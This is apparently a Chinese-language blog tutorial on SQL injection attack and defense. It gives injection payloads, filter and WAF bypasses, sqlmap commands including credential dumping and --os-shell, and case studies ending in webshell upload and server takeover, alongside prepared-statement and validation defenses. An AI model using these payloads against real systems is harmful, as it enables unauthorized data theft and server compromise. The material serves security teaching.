摘要:本文从攻击者与防御者双重视角,深度解析SQL注入的原理、分类、利用手法、绕过技巧、检测方法与防御策略。涵盖联合查询注入、报错注入、盲注等核心攻击技术,以及预编译、输入验证、WAF等关键防御手段,并通过实战案例与工具使用指南,提供全面的SQL注入攻防知识体系。
一、SQL注入基础
1.1 什么是SQL注入?
SQL注入(SQL Injection)是指攻击者通过在Web应用的输入参数中插入恶意的SQL代码,从而操控数据库执行非预期SQL语句的攻击。
简单例子:
// 漏洞代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysql_query($sql);
正常请求:
https://example.com/news.php?id=1
执行的SQL:SELECT * FROM users WHERE id = 1
攻击请求:
https://example.com/news.php?id=1' OR '1'='1
执行的SQL:SELECT * FROM users WHERE id = 1' OR '1'='1'
结果:返回所有用户数据(因为 '1'='1' 永远为真)
1.2 SQL注入的危害
- 数据泄露:攻击者可以查询数据库中的敏感数据(账号密码、身份证号、银行卡号等)
- 数据篡改:攻击者可以修改、删除数据
- 权限提升:攻击者可以获取管理员账号
- 上传后门:在某些数据库配置下,攻击者可以写入WebShell
- 内网渗透:通过数据库链接,攻击者可以攻击内网其他系统
二、SQL注入的分类
2.1 按注入点分类
- GET参数注入:注入点在URL参数中
- POST参数注入:注入点在POST请求体中
- Cookie注入:注入点在Cookie中
- HTTP头注入:注入点在HTTP请求头中(如User-Agent、Referer)
2.2 按返回结果分类
- 有回显注入:注入结果直接显示在页面上
- 联合查询注入(UNION SELECT)
- 报错注入(利用数据库报错信息)
- 无回显注入:注入结果不直接显示
- 盲注(Boolean Blind Injection)
- 时间盲注(Time Blind Injection)
2.3 按数据库类型分类
不同数据库的SQL语法有差异,注入方式也不同:
- MySQL注入
- MsSQL(SQL Server)注入
- Oracle注入
- PostgreSQL注入
- Access注入
三、SQL注入的利用
3.1 联合查询注入(UNION SELECT)
原理:利用 UNION 关键字,把多条SELECT语句的结果合并。
利用条件:
- 原查询的列数已知
- 原查询的结果可以显示在页面上
步骤:
第1步:判断列数
-- 用 ORDER BY 判断列数
SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 正常
SELECT * FROM users WHERE id = 1 ORDER BY 4 -- 报错(说明有3列)
第2步:判断显示位
SELECT * FROM users WHERE id = -1 UNION SELECT 1,2,3
页面上会显示数字 2 和 3,说明第2列和第3列的结果会显示在页面上。
第3步:获取数据库信息
-- 获取当前数据库名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,database(),version()
-- 获取所有数据库名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata
-- 获取当前数据库的表名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()
-- 获取表的列名
SELECT * FROM users WHERE id = -1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'
-- 获取账号密码
SELECT * FROM users WHERE id = -1 UNION SELECT 1,username,password FROM users
3.2 报错注入
原理:利用数据库的报错信息,把想要的数据显示在错误信息中。
MySQL报错注入函数:
updatexml()
SELECT * FROM users WHERE id = 1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
报错信息:XPATH syntax error: '~security~'
说明当前数据库名是 security。
extractvalue()
SELECT * FROM users WHERE id = 1 AND extractvalue(1,concat(0x7e,(SELECT database())))
floor()
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables group by x)a)
3.3 盲注(Blind Injection)
原理:页面不返回查询结果,只能通过"真/假"判断来逐步获取数据。
Boolean盲注:
-- 判断当前数据库名的长度
SELECT * FROM users WHERE id = 1 AND length(database())=8 -- 页面正常(说明数据库名长度是8)
-- 逐个字符猜解数据库名
SELECT * FROM users WHERE id = 1 AND substr(database(),1,1)='s' -- 页面正常(说明第1个字符是's')
SELECT * FROM users WHERE id = 1 AND substr(database(),2,1)='e' -- 页面正常(说明第2个字符是'e')
时间盲注:
-- 如果数据库名第一个字符是's',则延迟5秒
SELECT * FROM users WHERE id = 1 AND IF(substr(database(),1,1)='s',sleep(5),0)
四、SQL注入的绕过技巧
4.1 绕过空格过滤
过滤代码:
$id = str_replace(' ','',$id); // 过滤空格
绕过方法:
- 用注释代替空格
SELECT//*/FROM//*users**/ - 用Tab代替空格
SELECT FROM users - 用换行代替空格
SELECT FROM users
4.2 绕过关键字过滤
过滤代码:
$id = str_ireplace('SELECT','',$id); // 过滤SELECT
$id = str_ireplace('UNION','',$id); // 过滤UNION
绕过方法:
- 大小写混淆
SeLeCt * FrOm users - 双写关键字
UNIunionON SEselectLECT * FROM users - 用注释分割关键字
UN//ION SE//LECT * FROM users - 用十六进制编码
SELECT 0x73656c656374 -- 0x73656c656374 是 'select' 的十六进制
4.3 绕过WAF
WAF(Web应用防火墙)会检测SQL注入特征,常见绕过方法:
- 分块传输(Chunked Transfer Encoding):把POST数据分块发送,WAF可能无法检测
- 协议不匹配:有些WAF只检测GET/POST,不检测Cookie/HTTP头
- 参数污染(HPP):
有些WAF只看第一个参数,不看第二个?id=1&id=SELECT * FROM users - 绕过云WAF的CDN:直接访问源站IP,绕过云WAF
五、SQL注入的检测
5.1 手工检测
测试步骤:
- 加单引号,看是否报错
如果页面报错,说明可能存在SQL注入。https://example.com/news.php?id=1' - 用 AND 1=1 和 AND 1=2 判断
如果第1个正常、第2个异常,说明SQL注入存在。https://example.com/news.php?id=1 AND 1=1 -- 页面正常 https://example.com/news.php?id=1 AND 1=2 -- 页面异常 - 用 sleep() 判断时间盲注
如果页面延迟5秒才返回,说明存在时间盲注。https://example.com/news.php?id=1 AND sleep(5)
5.2 工具检测
sqlmap:最强大的SQL注入检测和利用工具。
基本用法:
# 检测GET参数
sqlmap -u "https://example.com/news.php?id=1"
检测POST参数
sqlmap -u "https://example.com/login.php" --data "username=admin&password=123456"
指定数据库类型
sqlmap -u "https://example.com/news.php?id=1" --dbms mysql
获取所有数据库名
sqlmap -u "https://example.com/news.php?id=1" --dbs
获取表名
sqlmap -u "https://example.com/news.php?id=1" -D security --tables
获取列名
sqlmap -u "https://example.com/news.php?id=1" -D security -T users --columns
获取账号密码
sqlmap -u "https://example.com/news.php?id=1" -D security -T users --dump
六、SQL注入的防御
6.1 预编译(Prepared Statement)
原理:把SQL语句和参数分开,参数不会改变SQL语句的结构。
Java示例:
// 错误写法(拼接SQL)
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// 正确写法(预编译)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
PHP示例:
// 错误写法
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql);
// 正确写法(PDO)
$sql = "SELECT * FROM users WHERE username = :username AND password = :password";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();
6.2 输入验证
白名单验证:只允许特定格式的输入。
// 验证ID只能是数字
if (!preg_match('/^\d+$/', $id)) {
die('Invalid ID');
}
6.3 转义特殊字符
mysql_real_escape_string()(不推荐,因为可能有编码绕过)addslashes()(不推荐,因为可能有宽字节注入)- 更好的方法:用预编译(见6.1)
6.4 WAF
部署WAF,拦截SQL注入攻击。
开源WAF:
- ModSecurity
- Naxsi
商业WAF:
- 阿里云WAF
- 腾讯云WAF
- 奇安信WAF
七、实战案例
案例1:某电商网站的SQL注入
发现过程:
- 用sqlmap扫描,发现 ?id= 参数存在注入
- 用 --dbs 获取所有数据库名
- 发现有一个数据库叫 shop,里面有个表叫 admin
- 用 --dump 导出管理员账号密码
- 登录后台,发现可以上传文件,上传WebShell
- 通过WebShell,拿下整台服务器
修复方法:
- 用预编译重写SQL查询
- 部署WAF
- 定期扫描漏洞
攻击流程图:
flowchart TD
A[开始攻击] --> B[使用sqlmap扫描目标网站]
B --> C{发现?id参数存在SQL注入?}
C -->|是| D[使用--dbs获取所有数据库名]
C -->|否| Z[攻击失败]
D --> E{发现敏感数据库shop?}
E -->|是| F[发现admin表]
E -->|否| Z
F --> G[使用--dump导出管理员账号密码]
G --> H[尝试登录后台系统]
H --> I{登录成功?}
I -->|是| J[寻找文件上传功能]
I -->|否| Z
J --> K{找到上传点?}
K -->|是| L[上传WebShell文件]
K -->|否| Z
L --> M{上传成功?}
M -->|是| N[通过WebShell连接服务器]
M -->|否| Z
N --> O[获取服务器控制权限]
O --> P[横向移动/权限提升]
P --> Q[拿下整台服务器]
Q --> R[攻击成功]
Z --> S[结束攻击流程]
style A fill:#f9f,stroke:#333,stroke-width:2px
style R fill:#9f9,stroke:#333,stroke-width:2px
style Z fill:#f99,stroke:#333,stroke-width:2px</code></pre>
流程图说明:
开始攻击 → 使用sqlmap扫描目标网站,这是攻击的起点。
发现注入点 → 如果发现?id参数存在SQL注入,则继续攻击流程;否则攻击失败。
信息收集 → 获取数据库信息,寻找敏感数据库和表。
凭证窃取 → 导出管理员账号密码,尝试登录后台。
权限维持 → 寻找上传功能,上传WebShell文件。
控制服务器 → 通过WebShell连接服务器,获取控制权限。
横向移动 → 在服务器内部进行权限提升和横向移动。
攻击成功/失败 → 绿色表示攻击成功,红色表示攻击失败。
案例2:某CMS系统时间盲注实战
背景:某内容管理系统(CMS)的搜索功能存在时间盲注漏洞,页面没有明显的错误回显,但可以通过时间延迟判断SQL语句是否执行成功。
发现过程:
初步测试:在搜索框中输入单引号,页面没有报错,但响应时间略有异常
时间延迟验证:输入 1' AND sleep(5)--,页面延迟5秒返回,确认存在时间盲注
手工验证:使用布尔逻辑测试
-- 测试数据库名长度
search.php?keyword=1' AND IF(length(database())=8,sleep(2),0)--
-- 页面延迟2秒,说明数据库名长度为8
-- 测试数据库名第一个字符
search.php?keyword=1' AND IF(substr(database(),1,1)='c',sleep(2),0)--
-- 页面延迟2秒,说明第一个字符是'c'
使用sqlmap自动化注入:
由于手工注入效率低下,使用sqlmap的--technique=TIME参数进行自动化时间盲注测试。
基本检测:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --level=3 --risk=2
确认注入点:
[15:24:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:24:18] [INFO] 'http://target.com/search.php?keyword=test' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
获取数据库信息:
# 获取当前数据库名
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --current-db
# 获取所有数据库名
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --dbs
# 获取当前用户
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --current-user
获取表名:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb --tables
[15:25:45] [INFO] fetching tables for database: 'cmsdb'
[15:25:45] [INFO] fetching number of tables for database 'cmsdb'
[15:25:45] [INFO] retrieved: 12
[15:26:30] [INFO] retrieved: users
[15:27:15] [INFO] retrieved: articles
[15:27:45] [INFO] retrieved: comments
...
获取列名:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --columns
[15:28:30] [INFO] fetching columns for table 'users' in database 'cmsdb'
[15:28:30] [INFO] retrieved: 6
[15:29:15] [INFO] retrieved: id
[15:29:45] [INFO] retrieved: username
[15:30:15] [INFO] retrieved: password
[15:30:45] [INFO] retrieved: email
[15:31:15] [INFO] retrieved: role
[15:31:45] [INFO] retrieved: created_at
导出数据:
sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --dump
[15:32:30] [INFO] fetching entries for table 'users' in database 'cmsdb'
[15:32:30] [INFO] retrieved: 3
[15:33:15] [INFO] retrieved: 1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin@target.com', 'administrator', '2023-01-15 10:30:00'
[15:33:45] [INFO] retrieved: 2, 'editor', 'e10adc3949ba59abbe56e057f20f883e', 'editor@target.com', 'editor', '2023-01-16 14:20:00'
[15:34:15] [INFO] retrieved: 3, 'user1', '25d55ad283aa400af464c76d713c07ad', 'user1@target.com', 'subscriber', '2023-01-17 09:15:00'
关键命令行输出说明:
1. 初始检测确认时间盲注:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --level=3 --risk=2
...
[15:24:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:24:18] [INFO] 'http://target.com/search.php?keyword=test' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[15:24:18] [INFO] testing for SQL injection on GET parameter 'keyword'
[15:24:18] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SELECT)'
[15:24:23] [INFO] GET parameter 'keyword' appears to be 'MySQL >= 5.0.12 time-based blind (SELECT)' injectable
...
2. 获取数据库信息:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME --dbs
...
[15:25:00] [INFO] fetching database names
[15:25:00] [INFO] retrieved: information_schema
[15:25:30] [INFO] retrieved: cmsdb
[15:26:00] [INFO] retrieved: mysql
[15:26:30] [INFO] retrieved: performance_schema
available databases [4]:
[*] cmsdb
[*] information_schema
[*] mysql
[*] performance_schema
...
3. 导出用户表数据:
$ sqlmap -u "http://target.com/search.php?keyword=test" --technique=TIME -D cmsdb -T users --dump
...
[15:32:30] [INFO] fetching entries for table 'users' in database 'cmsdb'
[15:32:30] [INFO] retrieved: 3
[15:33:15] [INFO] retrieved: 1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin@target.com', 'administrator', '2023-01-15 10:30:00'
[15:33:45] [INFO] retrieved: 2, 'editor', 'e10adc3949ba59abbe56e057f20f883e', 'editor@target.com', 'editor', '2023-01-16 14:20:00'
[15:34:15] [INFO] retrieved: 3, 'user1', '25d55ad283aa400af464c76d713c07ad', 'user1@target.com', 'subscriber', '2023-01-17 09:15:00'
Database: cmsdb
Table: users
[3 entries]
+----+----------+----------------------------------+-------------------+---------------+---------------------+
| id | username | password | email | role | created_at |
+----+----------+----------------------------------+-------------------+---------------+---------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin@target.com | administrator | 2023-01-15 10:30:00 |
| 2 | editor | e10adc3949ba59abbe56e057f20f883e | editor@target.com | editor | 2023-01-16 14:20:00 |
| 3 | user1 | 25d55ad283aa400af464c76d713c07ad | user1@target.com | subscriber | 2023-01-17 09:15:00 |
+----+----------+----------------------------------+-------------------+---------------+---------------------+
...
完整攻击流程:
漏洞发现:通过手工测试发现时间延迟,确认存在时间盲注漏洞
工具验证:使用sqlmap的--technique=TIME参数确认注入点
信息收集:获取数据库名、表名、列名等结构信息
数据提取:导出敏感数据(用户表、管理员凭证等)
权限提升:尝试使用获取的管理员密码登录后台系统
后续利用:根据CMS特性寻找其他漏洞点(如文件上传、命令执行等)
修复建议:
使用预编译语句:将所有SQL查询改为参数化查询
输入验证:对搜索关键词进行严格的格式验证
时间盲注防护:限制SQL语句的最大执行时间
错误处理:统一错误页面,避免泄露数据库信息
WAF部署:部署Web应用防火墙检测和拦截时间盲注攻击
技术要点总结:
时间盲注特征:页面无错误回显,但响应时间随SQL语句变化
sqlmap关键参数:--technique=TIME指定时间盲注技术
自动化优势:相比手工注入,sqlmap能自动猜解数据库结构
防护难点:时间盲注难以通过传统输入过滤完全防御,需要多层防护
检测方法:监控数据库查询响应时间,设置超时阈值
八、工具使用
8.1 sqlmap高级用法
# 指定注入点
sqlmap -u "https://example.com/news.php?id=1*" # * 是指定注入点
绕过WAF
sqlmap -u "https://example.com/news.php?id=1" --tamper=charencode,charunicodeencode
用代理(Burp Suite)
sqlmap -u "https://example.com/news.php?id=1" --proxy "http://127.0.0.1:8080"
保持会话(Cookie)
sqlmap -u "https://example.com/news.php?id=1" --cookie "PHPSESSID=abc123"
获取Shell
sqlmap -u "https://example.com/news.php?id=1" --os-shell
8.2 Burp Suite + sqlmap
Burp Suite 和 sqlmap 是渗透测试中常用的黄金组合。Burp Suite 负责拦截、修改和重放 HTTP 请求,而 sqlmap 则专注于 SQL 注入的检测和利用。两者结合可以大大提高测试效率。
结合使用的优势:
自动化测试:Burp Suite 可以自动爬取网站,发现所有可能的注入点
请求修改:Burp Suite 可以方便地修改请求参数、Cookie、Headers 等
会话保持:Burp Suite 可以管理会话,sqlmap 可以直接使用这些会话
可视化分析:Burp Suite 提供直观的请求/响应分析界面
完整工作流程:
发现潜在注入点
使用 Burp Suite 的 Spider 功能自动爬取网站
手动浏览网站,重点关注 GET/POST 参数、Cookie、HTTP 头等
在 Proxy → HTTP history 中查看所有请求记录
保存请求到文件
在 Burp Suite 中右键点击目标请求
选择 "Save item",保存为 request.txt 文件
或者复制整个请求内容到剪贴板
使用 sqlmap 进行测试
# 方法1:使用保存的请求文件
sqlmap -r request.txt
方法2:直接使用 Burp Suite 代理
sqlmap -u "https://example.com/news.php?id=1" --proxy "http://127.0.0.1:8080"
方法3:使用从 Burp Suite 复制的请求(通过 --data 参数)
sqlmap -u "https://example.com/news.php?id=1" --data "username=admin&password=123456" --cookie "PHPSESSID=abc123"
高级组合技巧
批量测试:使用 Burp Suite 的 Intruder 模块生成 payload,然后用 sqlmap 批量测试
绕过 WAF:Burp Suite 可以修改请求编码,sqlmap 可以使用 --tamper 脚本
会话管理:Burp Suite 的 Session handling rules 可以自动处理登录状态
结果验证:在 Burp Suite 的 Repeater 中手动验证 sqlmap 发现的注入点
自动化集成
# 使用 sqlmap API 与 Burp Suite 扩展结合
安装 sqlmap API:python sqlmapapi.py -s
在 Burp Suite 中安装相关扩展,实现一键测试
配置 Burp Suite 代理:
启动 Burp Suite,在 Proxy → Options 中确保代理监听端口为 8080
在浏览器中配置代理为 127.0.0.1:8080
访问目标网站,Burp Suite 会拦截所有请求
实战示例:
在 Burp Suite 中拦截登录请求:POST /login.php
保存请求为 login_request.txt
使用 sqlmap 测试:
sqlmap -r login_request.txt --level 5 --risk 3 --dbs
如果发现注入,继续获取数据:
sqlmap -r login_request.txt -D target_db --tables
sqlmap -r login_request.txt -D target_db -T users --dump
注意事项:
确保有合法的授权才能进行测试
在生产环境测试时使用 --batch 参数避免交互式确认
使用 --threads 参数控制并发数,避免对目标造成过大压力
测试完成后及时清理测试数据
321

被折叠的 条评论
为什么被折叠?



